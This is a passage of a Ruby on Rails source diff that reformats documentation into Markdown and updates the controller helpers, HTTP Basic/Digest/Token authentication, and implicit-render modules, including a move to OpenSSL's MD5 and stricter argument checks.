+  #         <%= format_time(event.time, :short, "N/A") %> | <%= event.name %>
+  #       </p>
+  #     <% end -%>
   #
-  # Finally, assuming we have two event instances, one which has a time and one which does not,
-  # the output might look like this:
+  # Finally, assuming we have two event instances, one which has a time and one
+  # which does not, the output might look like this:
   #
-  #   23 Aug 11:30 | Carolina Railhawks Soccer Match
-  #   N/A | Carolina Railhawks Training Workshop
+  #     23 Aug 11:30 | Carolina Railhawks Soccer Match
+  #     N/A | Carolina Railhawks Training Workshop
   #
   module Helpers
     extend ActiveSupport::Concern
@@ -53,62 +67,55 @@ class << self; attr_accessor :helpers_path; end
     include AbstractController::Helpers
 
     included do
-      class_attribute :helpers_path, :include_all_helpers
-      self.helpers_path ||= []
-      self.include_all_helpers = true
+      class_attribute :helpers_path, default: []
+      class_attribute :include_all_helpers, default: true
     end
 
     module ClassMethods
       # Declares helper accessors for controller attributes. For example, the
-      # following adds new +name+ and <tt>name=</tt> instance methods to a
-      # controller and makes them available to the view:
-      #   attr_accessor :name
-      #   helper_attr :name
+      # following adds new `name` and `name=` instance methods to a controller and
+      # makes them available to the view:
+      #     attr_accessor :name
+      #     helper_attr :name
+      #
+      # #### Parameters
+      # *   `attrs` - Names of attributes to be converted into helpers.
       #
-      # ==== Parameters
-      # * <tt>attrs</tt> - Names of attributes to be converted into helpers.
       def helper_attr(*attrs)
         attrs.flatten.each { |attr| helper_method(attr, "#{attr}=") }
       end
 
       # Provides a proxy to access helper methods from outside the view.
+      #
+      # Note that the proxy is rendered under a different view context. This may cause
+      # incorrect behavior with capture methods. Consider using
+      # [helper](rdoc-ref:AbstractController::Helpers::ClassMethods#helper) instead
+      # when using `capture`.
       def helpers
         @helper_proxy ||= begin
-          proxy = ActionView::Base.new
+          proxy = ActionView::Base.empty
           proxy.config = config.inheritable_copy
           proxy.extend(_helpers)
         end
       end
 
-      # Overwrite modules_for_helpers to accept :all as argument, which loads
-      # all helpers in helpers_path.
+      # Override modules_for_helpers to accept `:all` as argument, which loads all
+      # helpers in helpers_path.
       #
-      # ==== Parameters
-      # * <tt>args</tt> - A list of helpers
+      # #### Parameters
+      # *   `args` - A list of helpers
+      #
+      #
+      # #### Returns
+      # *   `array` - A normalized list of modules for the list of helpers provided.
       #
-      # ==== Returns
-      # * <tt>array</tt> - A normalized list of modules for the list of helpers provided.
       def modules_for_helpers(args)
         args += all_application_helpers if args.delete(:all)
         super(args)
       end
 
-      # Returns a list of helper names in a given path.
-      #
-      #   ActionController::Base.all_helpers_from_path 'app/helpers'
-      #   # => ["application", "chart", "rubygems"]
-      def all_helpers_from_path(path)
-        helpers = Array(path).flat_map do |_path|
-          extract = /^#{Regexp.quote(_path.to_s)}\/?(.*)_helper.rb$/
-          names = Dir["#{_path}/**/*_helper.rb"].map { |file| file.sub(extract, '\1'.freeze) }
-          names.sort!
-        end
-        helpers.uniq!
-        helpers
-      end
-
       private
-        # Extract helper names from files in <tt>app/helpers/**/*_helper.rb</tt>
+        # Extract helper names from files in `app/helpers/***/**_helper.rb`
         def all_application_helpers
           all_helpers_from_path(helpers_path)
         end
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 0575360068d83..a651242fc45a1 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -1,64 +1,71 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "base64"
 require "active_support/security_utils"
+require "active_support/core_ext/array/access"
 
 module ActionController
-  # Makes it dead easy to do HTTP Basic, Digest and Token authentication.
+  # HTTP Basic, Digest, and Token authentication.
   module HttpAuthentication
-    # Makes it dead easy to do HTTP \Basic authentication.
+    # # HTTP Basic authentication
     #
-    # === Simple \Basic example
+    # ### Simple Basic example
     #
-    #   class PostsController < ApplicationController
-    #     http_basic_authenticate_with name: "dhh", password: "secret", except: :index
+    #     class PostsController < ApplicationController
+    #       http_basic_authenticate_with name: "dhh", password: "secret", except: :index
     #
-    #     def index
-    #       render plain: "Everyone can see me!"
-    #     end
+    #       def index
+    #         render plain: "Everyone can see me!"
+    #       end
     #
-    #     def edit
-    #       render plain: "I'm only accessible if you know the password"
+    #       def edit
+    #         render plain: "I'm only accessible if you know the password"
+    #       end
     #     end
-    #  end
     #
-    # === Advanced \Basic example
+    # ### Advanced Basic example
     #
-    # Here is a more advanced \Basic example where only Atom feeds and the XML API is protected by HTTP authentication,
-    # the regular HTML interface is protected by a session approach:
+    # Here is a more advanced Basic example where only Atom feeds and the XML API
+    # are protected by HTTP authentication. The regular HTML interface is protected
+    # by a session approach:
     #
-    #   class ApplicationController < ActionController::Base
-    #     before_action :set_account, :authenticate
+    #     class ApplicationController < ActionController::Base
+    #       before_action :set_account, :authenticate
     #
-    #     private
-    #       def set_account
-    #         @account = Account.find_by(url_name: request.subdomains.first)
-    #       end
+    #       private
+    #         def set_account
+    #           @account = Account.find_by(url_name: request.subdomains.first)
+    #         end
     #
-    #       def authenticate
-    #         case request.format
-    #         when Mime[:xml], Mime[:atom]
-    #           if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
-    #             @current_user = user
+    #         def authenticate
+    #           case request.format
+    #           when Mime[:xml], Mime[:atom]
+    #             if user = authenticate_with_http_basic { |u, p| @account.users.authenticate(u, p) }
+    #               @current_user = user
+    #             else
+    #               request_http_basic_authentication
+    #             end
     #           else
-    #             request_http_basic_authentication
-    #           end
-    #         else
-    #           if session_authenticated?
-    #             @current_user = @account.users.find(session[:authenticated][:user_id])
-    #           else
-    #             redirect_to(login_url) and return false
+    #             if session_authenticated?
+    #               @current_user = @account.users.find(session[:authenticated][:user_id])
+    #             else
+    #               redirect_to(login_url) and return false
+    #             end
     #           end
     #         end
-    #       end
-    #   end
+    #     end
     #
     # In your integration tests, you can do something like this:
     #
-    #   def test_access_granted_from_xml
-    #     @request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
-    #     get "/notes/1.xml"
+    #     def test_access_granted_from_xml
+    #       authorization = ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
     #
-    #     assert_equal 200, status
-    #   end
+    #       get "/notes/1.xml", headers: { 'HTTP_AUTHORIZATION' => authorization }
+    #
+    #       assert_equal 200, status
+    #     end
     module Basic
       extend self
 
@@ -66,21 +73,27 @@ module ControllerMethods
         extend ActiveSupport::Concern
 
         module ClassMethods
-          def http_basic_authenticate_with(options = {})
-            before_action(options.except(:name, :password, :realm)) do
-              authenticate_or_request_with_http_basic(options[:realm] || "Application") do |name, password|
-                # This comparison uses & so that it doesn't short circuit and
-                # uses `variable_size_secure_compare` so that length information
-                # isn't leaked.
-                ActiveSupport::SecurityUtils.variable_size_secure_compare(name, options[:name]) &
-                  ActiveSupport::SecurityUtils.variable_size_secure_compare(password, options[:password])
-              end
-            end
+          # Enables HTTP Basic authentication.
+          #
+          # See ActionController::HttpAuthentication::Basic for example usage.
+          def http_basic_authenticate_with(name:, password:, realm: nil, **options)
+            raise ArgumentError, "Expected name: to be a String, got #{name.class}" unless name.is_a?(String)
+            raise ArgumentError, "Expected password: to be a String, got #{password.class}" unless password.is_a?(String)
+            before_action(options) { http_basic_authenticate_or_request_with name: name, password: password, realm: realm }
           end
         end
 
-        def authenticate_or_request_with_http_basic(realm = "Application", message = nil, &login_procedure)
-          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm, message)
+        def http_basic_authenticate_or_request_with(name:, password:, realm: nil, message: nil)
+          authenticate_or_request_with_http_basic(realm, message) do |given_name, given_password|
+            # This comparison uses & so that it doesn't short circuit and uses
+            # `secure_compare` so that length information isn't leaked.
+            ActiveSupport::SecurityUtils.secure_compare(given_name.to_s, name) &
+              ActiveSupport::SecurityUtils.secure_compare(given_password.to_s, password)
+          end
+        end
+
+        def authenticate_or_request_with_http_basic(realm = nil, message = nil, &login_procedure)
+          authenticate_with_http_basic(&login_procedure) || request_http_basic_authentication(realm || "Application", message)
         end
 
         def authenticate_with_http_basic(&login_procedure)
@@ -124,81 +137,88 @@ def encode_credentials(user_name, password)
 
       def authentication_request(controller, realm, message)
         message ||= "HTTP Basic: Access denied.\n"
-        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.tr('"'.freeze, "".freeze)}")
+        controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.tr('"', "")}")
         controller.status = 401
         controller.response_body = message
       end
     end
 
-    # Makes it dead easy to do HTTP \Digest authentication.
+    # # HTTP Digest authentication
     #
-    # === Simple \Digest example
+    # ### Simple Digest example
     #
-    #   require 'digest/md5'
-    #   class PostsController < ApplicationController
-    #     REALM = "SuperSecret"
-    #     USERS = {"dhh" => "secret", #plain text password
-    #              "dap" => Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))}  #ha1 digest password
+    #     require "openssl"
+    #     class PostsController < ApplicationController
+    #       REALM = "SuperSecret"
+    #       USERS = {"dhh" => "secret", #plain text password
+    #                "dap" => OpenSSL::Digest::MD5.hexdigest(["dap",REALM,"secret"].join(":"))}  #ha1 digest password
     #
-    #     before_action :authenticate, except: [:index]
+    #       before_action :authenticate, except: [:index]
     #
-    #     def index
-    #       render plain: "Everyone can see me!"
-    #     end
+    #       def index
+    #         render plain: "Everyone can see me!"
+    #       end
     #
-    #     def edit
-    #       render plain: "I'm only accessible if you know the password"
-    #     end
+    #       def edit
+    #         render plain: "I'm only accessible if you know the password"
+    #       end
     #
-    #     private
-    #       def authenticate
-    #         authenticate_or_request_with_http_digest(REALM) do |username|
-    #           USERS[username]
+    #       private
+    #         def authenticate
+    #           authenticate_or_request_with_http_digest(REALM) do |username|
+    #             USERS[username]
+    #           end
     #         end
-    #       end
-    #   end
+    #     end
     #
-    # === Notes
+    # ### Notes
     #
-    # The +authenticate_or_request_with_http_digest+ block must return the user's password
-    # or the ha1 digest hash so the framework can appropriately hash to check the user's
-    # credentials. Returning +nil+ will cause authentication to fail.
+    # The `authenticate_or_request_with_http_digest` block must return the user's
+    # password or the ha1 digest hash so the framework can appropriately hash to
+    # check the user's credentials. Returning `nil` will cause authentication to
+    # fail.
     #
-    # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
-    # the password file or database is compromised, the attacker would be able to use the ha1 hash to
-    # authenticate as the user at this +realm+, but would not have the user's password to try using at
-    # other sites.
+    # Storing the ha1 hash: MD5(username:realm:password), is better than storing a
+    # plain password. If the password file or database is compromised, the attacker
+    # would be able to use the ha1 hash to authenticate as the user at this `realm`,
+    # but would not have the user's password to try using at other sites.
     #
-    # In rare instances, web servers or front proxies strip authorization headers before
-    # they reach your application. You can debug this situation by logging all environment
-    # variables, and check for HTTP_AUTHORIZATION, amongst others.
+    # In rare instances, web servers or front proxies strip authorization headers
+    # before they reach your application. You can debug this situation by logging
+    # all environment variables, and check for HTTP_AUTHORIZATION, amongst others.
     module Digest
       extend self
 
       module ControllerMethods
+        # Authenticate using an HTTP Digest, or otherwise render an HTTP header
+        # requesting the client to send a Digest.
+        #
+        # See ActionController::HttpAuthentication::Digest for example usage.
         def authenticate_or_request_with_http_digest(realm = "Application", message = nil, &password_procedure)
           authenticate_with_http_digest(realm, &password_procedure) || request_http_digest_authentication(realm, message)
         end
 
-        # Authenticate with HTTP Digest, returns true or false
+        # Authenticate using an HTTP Digest. Returns true if authentication is
+        # successful, false otherwise.
         def authenticate_with_http_digest(realm = "Application", &password_procedure)
           HttpAuthentication::Digest.authenticate(request, realm, &password_procedure)
         end
 
-        # Render output including the HTTP Digest authentication header
+        # Render an HTTP header requesting the client to send a Digest for
+        # authentication.
         def request_http_digest_authentication(realm = "Application", message = nil)
           HttpAuthentication::Digest.authentication_request(self, realm, message)
         end
       end
 
-      # Returns false on a valid response, true otherwise
+      # Returns true on a valid response, false otherwise.
       def authenticate(request, realm, &password_procedure)
         request.authorization && validate_digest_response(request, realm, &password_procedure)
       end
 
-      # Returns false unless the request credentials response value matches the expected value.
-      # First try the password as a ha1 digest password. If this fails, then try it as a plain
-      # text password.
+      # Returns false unless the request credentials response value matches the
+      # expected value. First try the password as a ha1 digest password. If this
+      # fails, then try it as a plain text password.
       def validate_digest_response(request, realm, &password_procedure)
         secret_key  = secret_token(request)
         credentials = decode_credentials_header(request)
@@ -221,17 +241,18 @@ def validate_digest_response(request, realm, &password_procedure)
         end
       end
 
-      # Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
-      # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
-      # of a plain-text password.
+      # Returns the expected response for a request of `http_method` to `uri` with the
+      # decoded `credentials` and the expected `password` Optional parameter
+      # `password_is_ha1` is set to `true` by default, since best practice is to store
+      # ha1 digest instead of a plain-text password.
       def expected_response(http_method, uri, credentials, password, password_is_ha1 = true)
         ha1 = password_is_ha1 ? password : ha1(credentials, password)
-        ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(":"))
-        ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(":"))
+        ha2 = OpenSSL::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(":"))
+        OpenSSL::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(":"))
       end
 
       def ha1(credentials, password)
-        ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(":"))
+        OpenSSL::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(":"))
       end
 
       def encode_credentials(http_method, credentials, password, password_is_ha1)
@@ -246,7 +267,7 @@ def decode_credentials_header(request)
       def decode_credentials(header)
         ActiveSupport::HashWithIndifferentAccess[header.to_s.gsub(/^Digest\s+/, "").split(",").map do |pair|
           key, value = pair.split("=", 2)
-          [key.strip, value.to_s.gsub(/^"|"$/, "").delete('\'')]
+          [key.strip, value.to_s.gsub(/^"|"$/, "").delete("'")]
         end]
       end
 
@@ -272,48 +293,51 @@ def secret_token(request)
 
       # Uses an MD5 digest based on time to generate a value to be used only once.
       #
-      # A server-specified data string which should be uniquely generated each time a 401 response is made.
-      # It is recommended that this string be base64 or hexadecimal data.
-      # Specifically, since the string is passed in the header lines as a quoted string, the double-quote character is not allowed.
+      # A server-specified data string which should be uniquely generated each time a
+      # 401 response is made. It is recommended that this string be base64 or
+      # hexadecimal data. Specifically, since the string is passed in the header lines
+      # as a quoted string, the double-quote character is not allowed.
       #
-      # The contents of the nonce are implementation dependent.
-      # The quality of the implementation depends on a good choice.
-      # A nonce might, for example, be constructed as the base 64 encoding of
+      # The contents of the nonce are implementation dependent. The quality of the
+      # implementation depends on a good choice. A nonce might, for example, be
+      # constructed as the base 64 encoding of
       #
-      #   time-stamp H(time-stamp ":" ETag ":" private-key)
+      #     time-stamp H(time-stamp ":" ETag ":" private-key)
       #
-      # where time-stamp is a server-generated time or other non-repeating value,
-      # ETag is the value of the HTTP ETag header associated with the requested entity,
-      # and private-key is data known only to the server.
-      # With a nonce of this form a server would recalculate the hash portion after receiving the client authentication header and
-      # reject the request if it did not match the nonce from that header or
-      # if the time-stamp value is not recent enough. In this way the server can limit the time of the nonce's validity.
-      # The inclusion of the ETag prevents a replay request for an updated version of the resource.
-      # (Note: including the IP address of the client in the nonce would appear to offer the server the ability
-      # to limit the reuse of the nonce to the same client that originally got it.
-      # However, that would break proxy farms, where requests from a single user often go through different proxies in the farm.
-      # Also, IP address spoofing is not that hard.)
+      # where time-stamp is a server-generated time or other non-repeating value, ETag
+      # is the value of the HTTP ETag header associated with the requested entity, and
+      # private-key is data known only to the server. With a nonce of this form a
+      # server would recalculate the hash portion after receiving the client
+      # authentication header and reject the request if it did not match the nonce
+      # from that header or if the time-stamp value is not recent enough. In this way
+      # the server can limit the time of the nonce's validity. The inclusion of the
+      # ETag prevents a replay request for an updated version of the resource. (Note:
+      # including the IP address of the client in the nonce would appear to offer the
+      # server the ability to limit the reuse of the nonce to the same client that
+      # originally got it. However, that would break proxy farms, where requests from
+      # a single user often go through different proxies in the farm. Also, IP address
+      # spoofing is not that hard.)
       #
-      # An implementation might choose not to accept a previously used nonce or a previously used digest, in order to
-      # protect against a replay attack. Or, an implementation might choose to use one-time nonces or digests for
-      # POST, PUT, or PATCH requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
-      # of this document.
+      # An implementation might choose not to accept a previously used nonce or a
+      # previously used digest, in order to protect against a replay attack. Or, an
+      # implementation might choose to use one-time nonces or digests for POST, PUT,
+      # or PATCH requests, and a time-stamp for GET requests. For more details on the
+      # issues involved see Section 4 of this document.
       #
-      # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
-      # key from the Rails session secret generated upon creation of project. Ensures
-      # the time cannot be modified by client.
+      # The nonce is opaque to the client. Composed of Time, and hash of Time with
+      # secret key from the Rails session secret generated upon creation of project.
+      # Ensures the time cannot be modified by client.
       def nonce(secret_key, time = Time.now)
         t = time.to_i
         hashed = [t, secret_key]
-        digest = ::Digest::MD5.hexdigest(hashed.join(":"))
+        digest = OpenSSL::Digest::MD5.hexdigest(hashed.join(":"))
         ::Base64.strict_encode64("#{t}:#{digest}")
       end
 
-      # Might want a shorter timeout depending on whether the request
-      # is a PATCH, PUT, or POST, and if the client is a browser or web service.
-      # Can be much shorter if the Stale directive is implemented. This would
-      # allow a user to use new nonce without prompting the user again for their
-      # username and password.
+      # Might want a shorter timeout depending on whether the request is a PATCH, PUT,
+      # or POST, and if the client is a browser or web service. Can be much shorter if
+      # the Stale directive is implemented. This would allow a user to use new nonce
+      # without prompting the user again for their username and password.
       def validate_nonce(secret_key, request, value, seconds_to_timeout = 5 * 60)
         return false if value.nil?
         t = ::Base64.decode64(value).split(":").first.to_i
@@ -322,122 +346,129 @@ def validate_nonce(secret_key, request, value, seconds_to_timeout = 5 * 60)
 
       # Opaque based on digest of secret key
       def opaque(secret_key)
-        ::Digest::MD5.hexdigest(secret_key)
+        OpenSSL::Digest::MD5.hexdigest(secret_key)
       end
     end
 
-    # Makes it dead easy to do HTTP Token authentication.
+    # # HTTP Token authentication
     #
-    # Simple Token example:
+    # ### Simple Token example
     #
-    #   class PostsController < ApplicationController
-    #     TOKEN = "secret"
+    #     class PostsController < ApplicationController
+    #       TOKEN = "secret"
     #
-    #     before_action :authenticate, except: [ :index ]
+    #       before_action :authenticate, except: [ :index ]
     #
-    #     def index
-    #       render plain: "Everyone can see me!"
-    #     end
-    #
-    #     def edit
-    #       render plain: "I'm only accessible if you know the password"
-    #     end
+    #       def index
+    #         render plain: "Everyone can see me!"
+    #       end
     #
-    #     private
-    #       def authenticate
-    #         authenticate_or_request_with_http_token do |token, options|
-    #           # Compare the tokens in a time-constant manner, to mitigate
-    #           # timing attacks.
-    #           ActiveSupport::SecurityUtils.secure_compare(
-    #             ::Digest::SHA256.hexdigest(token),
-    #             ::Digest::SHA256.hexdigest(TOKEN)
-    #           )
-    #         end
+    #       def edit
+    #         render plain: "I'm only accessible if you know the password"
     #       end
-    #   end
     #
+    #       private
+    #         def authenticate
+    #           authenticate_or_request_with_http_token do |token, options|
+    #             # Compare the tokens in a time-constant manner, to mitigate
+    #             # timing attacks.
+    #             ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
+    #           end
+    #         end
+    #     end
     #
-    # Here is a more advanced Token example where only Atom feeds and the XML API is protected by HTTP token authentication,
-    # the regular HTML interface is protected by a session approach:
+    # Here is a more advanced Token example where only Atom feeds and the XML API
+    # are protected by HTTP token authentication. The regular HTML interface is
+    # protected by a session approach:
     #
-    #   class ApplicationController < ActionController::Base
-    #     before_action :set_account, :authenticate
+    #     class ApplicationController < ActionController::Base
+    #       before_action :set_account, :authenticate
     #
-    #     private
-    #       def set_account
-    #         @account = Account.find_by(url_name: request.subdomains.first)
-    #       end
+    #       private
+    #         def set_account
+    #           @account = Account.find_by(url_name: request.subdomains.first)
+    #         end
     #
-    #       def authenticate
-    #         case request.format
-    #         when Mime[:xml], Mime[:atom]
-    #           if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) }
-    #             @current_user = user
-    #           else
-    #             request_http_token_authentication
-    #           end
-    #         else
-    #           if session_authenticated?
-    #             @current_user = @account.users.find(session[:authenticated][:user_id])
+    #         def authenticate
+    #           case request.format
+    #           when Mime[:xml], Mime[:atom]
+    #             if user = authenticate_with_http_token { |t, o| @account.users.authenticate(t, o) }
+    #               @current_user = user
+    #             else
+    #               request_http_token_authentication
+    #             end
     #           else
-    #             redirect_to(login_url) and return false
+    #             if session_authenticated?
+    #               @current_user = @account.users.find(session[:authenticated][:user_id])
+    #             else
+    #               redirect_to(login_url) and return false
+    #             end
     #           end
     #         end
-    #       end
-    #   end
-    #
+    #     end
     #
     # In your integration tests, you can do something like this:
     #
-    #   def test_access_granted_from_xml
-    #     get(
-    #       "/notes/1.xml", nil,
-    #       'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
-    #     )
+    #     def test_access_granted_from_xml
+    #       authorization = ActionController::HttpAuthentication::Token.encode_credentials(users(:dhh).token)
     #
-    #     assert_equal 200, status
-    #   end
+    #       get "/notes/1.xml", headers: { 'HTTP_AUTHORIZATION' => authorization }
     #
+    #       assert_equal 200, status
+    #     end
     #
-    # On shared hosts, Apache sometimes doesn't pass authentication headers to
-    # FCGI instances. If your environment matches this description and you cannot
+    # On shared hosts, Apache sometimes doesn't pass authentication headers to FCGI
+    # instances. If your environment matches this description and you cannot
     # authenticate, try this rule in your Apache setup:
     #
-    #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
+    #     RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
     module Token
       TOKEN_KEY = "token="
       TOKEN_REGEX = /^(Token|Bearer)\s+/
-      AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/
+      AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
       extend self
 
       module ControllerMethods
+        # Authenticate using an HTTP Bearer token, or otherwise render an HTTP header
+        # requesting the client to send a Bearer token. For the authentication to be
+        # considered successful, `login_procedure` must not return a false value.
+        # Typically, the authenticated user is returned.
+        #
+        # See ActionController::HttpAuthentication::Token for example usage.
         def authenticate_or_request_with_http_token(realm = "Application", message = nil, &login_procedure)
           authenticate_with_http_token(&login_procedure) || request_http_token_authentication(realm, message)
         end
 
+        # Authenticate using an HTTP Bearer token. Returns the return value of
+        # `login_procedure` if a token is found. Returns `nil` if no token is found.
+        #
+        # See ActionController::HttpAuthentication::Token for example usage.
         def authenticate_with_http_token(&login_procedure)
           Token.authenticate(self, &login_procedure)
         end
 
+        # Render an HTTP header requesting the client to send a Bearer token for
+        # authentication.
         def request_http_token_authentication(realm = "Application", message = nil)
           Token.authentication_request(self, realm, message)
         end
       end
 
-      # If token Authorization header is present, call the login
-      # procedure with the present token and options.
+      # If token Authorization header is present, call the login procedure with the
+      # present token and options.
       #
-      # [controller]
-      #   ActionController::Base instance for the current request.
+      # Returns the return value of `login_procedure` if a token is found. Returns
+      # `nil` if no token is found.
       #
-      # [login_procedure]
-      #   Proc to call if a token is present. The Proc should take two arguments:
+      # #### Parameters
+      #
+      # *   `controller` - ActionController::Base instance for the current request.
+      # *   `login_procedure` - Proc to call if a token is present. The Proc should
+      #     take two arguments:
+      #
+      #         authenticate(controller) { |token, options| ... }
       #
-      #     authenticate(controller) { |token, options| ... }
       #
-      # Returns the return value of <tt>login_procedure</tt> if a
-      # token is found. Returns <tt>nil</tt> if no token is found.
-
       def authenticate(controller, &login_procedure)
         token, options = token_and_options(controller.request)
         unless token.blank?
@@ -445,17 +476,21 @@ def authenticate(controller, &login_procedure)
         end
       end
 
-      # Parses the token and options out of the token authorization header.
-      # The value for the Authorization header is expected to have the prefix
-      # <tt>"Token"</tt> or <tt>"Bearer"</tt>. If the header looks like this:
-      #   Authorization: Token token="abc", nonce="def"
-      # Then the returned token is <tt>"abc"</tt>, and the options are
-      # <tt>{nonce: "def"}</tt>
+      # Parses the token and options out of the token Authorization header. The value
+      # for the Authorization header is expected to have the prefix `"Token"` or
+      # `"Bearer"`. If the header looks like this:
+      #
+      #     Authorization: Token token="abc", nonce="def"
+      #
+      # Then the returned token is `"abc"`, and the options are `{nonce: "def"}`.
+      #
+      # Returns an `Array` of `[String, Hash]` if a token is present. Returns `nil` if
+      # no token is found.
       #
-      # request - ActionDispatch::Request instance with the current headers.
+      # #### Parameters
+      #
+      # *   `request` - ActionDispatch::Request instance with the current headers.
       #
-      # Returns an +Array+ of <tt>[String, Hash]</tt> if a token is present.
-      # Returns +nil+ if no token is found.
       def token_and_options(request)
         authorization_request = request.authorization.to_s
         if authorization_request[TOKEN_REGEX]
@@ -468,23 +503,24 @@ def token_params_from(auth)
         rewrite_param_values params_array_from raw_params auth
       end
 
-      # Takes raw_params and turns it into an array of parameters
+      # Takes `raw_params` and turns it into an array of parameters.
       def params_array_from(raw_params)
         raw_params.map { |param| param.split %r/=(.+)?/ }
       end
 
-      # This removes the <tt>"</tt> characters wrapping the value.
+      # This removes the `"` characters wrapping the value.
       def rewrite_param_values(array_params)
-        array_params.each { |param| (param[1] || "").gsub! %r/^"|"$/, "" }
+        array_params.each { |param| (param[1] || +"").gsub! %r/^"|"$/, "" }
       end
 
-      # This method takes an authorization body and splits up the key-value
-      # pairs by the standardized <tt>:</tt>, <tt>;</tt>, or <tt>\t</tt>
-      # delimiters defined in +AUTHN_PAIR_DELIMITERS+.
+      # This method takes an authorization body and splits up the key-value pairs by
+      # the standardized `:`, `;`, or `\t` delimiters defined in
+      # `AUTHN_PAIR_DELIMITERS`.
       def raw_params(auth)
-        _raw_params = auth.sub(TOKEN_REGEX, "").split(/\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+        _raw_params = auth.sub(TOKEN_REGEX, "").split(AUTHN_PAIR_DELIMITERS).map(&:strip)
+        _raw_params.reject!(&:empty?)
 
-        if !(_raw_params.first =~ %r{\A#{TOKEN_KEY}})
+        if !_raw_params.first&.start_with?(TOKEN_KEY)
           _raw_params[0] = "#{TOKEN_KEY}#{_raw_params.first}"
         end
 
@@ -493,10 +529,13 @@ def raw_params(auth)
 
       # Encodes the given token and options into an Authorization header value.
       #
-      # token   - String token.
-      # options - optional Hash of the options.
-      #
       # Returns String.
+      #
+      # #### Parameters
+      #
+      # *   `token` - String token.
+      # *   `options` - Optional Hash of the options.
+      #
       def encode_credentials(token, options = {})
         values = ["#{TOKEN_KEY}#{token.to_s.inspect}"] + options.map do |key, value|
           "#{key}=#{value.to_s.inspect}"
@@ -506,13 +545,16 @@ def encode_credentials(token, options = {})
 
       # Sets a WWW-Authenticate header to let the client know a token is desired.
       #
-      # controller - ActionController::Base instance for the outgoing response.
-      # realm      - String realm to use in the header.
-      #
       # Returns nothing.
+      #
+      # #### Parameters
+      #
+      # *   `controller` - ActionController::Base instance for the outgoing response.
+      # *   `realm` - String realm to use in the header.
+      #
       def authentication_request(controller, realm, message = nil)
         message ||= "HTTP Token: Access denied.\n"
-        controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.tr('"'.freeze, "".freeze)}")
+        controller.headers["WWW-Authenticate"] = %(Token realm="#{realm.tr('"', "")}")
         controller.__send__ :render, plain: message, status: :unauthorized
       end
     end
diff --git a/actionpack/lib/action_controller/metal/implicit_render.rb b/actionpack/lib/action_controller/metal/implicit_render.rb
index dde924e682b2f..fe2590e74eee4 100644
--- a/actionpack/lib/action_controller/metal/implicit_render.rb
+++ b/actionpack/lib/action_controller/metal/implicit_render.rb
@@ -1,36 +1,42 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # Handles implicit rendering for a controller action that does not
-  # explicitly respond with +render+, +respond_to+, +redirect+, or +head+.
+  # # Action Controller Implicit Render
+  #
+  # Handles implicit rendering for a controller action that does not explicitly
+  # respond with `render`, `respond_to`, `redirect`, or `head`.
   #
-  # For API controllers, the implicit response is always 204 No Content.
+  # For API controllers, the implicit response is always `204 No Content`.
   #
-  # For all other controllers, we use these heuristics to decide whether to
-  # render a template, raise an error for a missing template, or respond with
-  # 204 No Content:
+  # For all other controllers, we use these heuristics to decide whether to render
+  # a template, raise an error for a missing template, or respond with `204 No
+  # Content`:
   #
-  # First, if we DO find a template, it's rendered. Template lookup accounts
-  # for the action name, locales, format, variant, template handlers, and more
-  # (see +render+ for details).
+  # First, if we DO find a template, it's rendered. Template lookup accounts for
+  # the action name, locales, format, variant, template handlers, and more (see
+  # `render` for details).
   #
   # Second, if we DON'T find a template but the controller action does have
-  # templates for other formats, variants, etc., then we trust that you meant
-  # to provide a template for this response, too, and we raise
-  # <tt>ActionController::UnknownFormat</tt> with an explanation.
+  # templates for other formats, variants, etc., then we trust that you meant to
+  # provide a template for this response, too, and we raise
+  # ActionController::UnknownFormat with an explanation.
   #
   # Third, if we DON'T find a template AND the request is a page load in a web
-  # browser (technically, a non-XHR GET request for an HTML response) where
-  # you reasonably expect to have rendered a template, then we raise
-  # <tt>ActionView::UnknownFormat</tt> with an explanation.
+  # browser (technically, a non-XHR GET request for an HTML response) where you
+  # reasonably expect to have rendered a template, then we raise
+  # ActionController::MissingExactTemplate with an explanation.
   #
   # Finally, if we DON'T find a template AND the request isn't a browser page
-  # load, then we implicitly respond with 204 No Content.
+  # load, then we implicitly respond with `204 No Content`.
   module ImplicitRender
     # :stopdoc:
     include BasicImplicitRender
 
-    def default_render(*args)
+    def default_render
       if template_exists?(action_name.to_s, _prefixes, variants: request.variant)
-        render(*args)
+        render
